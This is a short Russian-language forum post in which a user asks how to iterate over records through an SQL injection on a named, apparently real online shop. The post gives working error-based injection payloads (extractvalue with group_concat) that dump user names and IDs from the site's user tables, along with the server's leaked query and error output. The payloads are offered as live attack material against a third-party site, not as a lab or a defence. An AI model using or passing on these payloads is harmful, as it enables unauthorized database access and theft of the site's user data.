Показать сообщение отдельно

  #1532  
Старый 05.12.2016, 13:50
mlmeet
Новичок
Регистрация: 05.12.2016
Сообщений: 5
С нами: 4967606

Репутация: 0
По умолчанию

Ребята, как листать записи при такой инъекции? Что то совсем не получается

http://stylesosh.ru/Orangevaya-tols...cat(name),1,1024)from(tehnocity_user))))and '/

XPATH syntax error: ':quest,' -

SELECT * FROM `tehnocity_menu` WHERE `sim_link`='Orangevaya-tolstovka'and+extractvalue(2,concat(0x3a,(select+m id(group_concat(name),1,1024)from(tehnocity_user)) ))and'' LIMIT 0, 1

Ясно как листать.. Там всего один юзер в этой таблице((((

/Orangevaya-tolstovka'and+extractvalue(1,concat(0x3a,(select+m id(group_concat

(user_id,0x3a,name,0x3a),1,1024)from(users)where(u ser_id)=(1))))and'/
 
Ответить с цитированием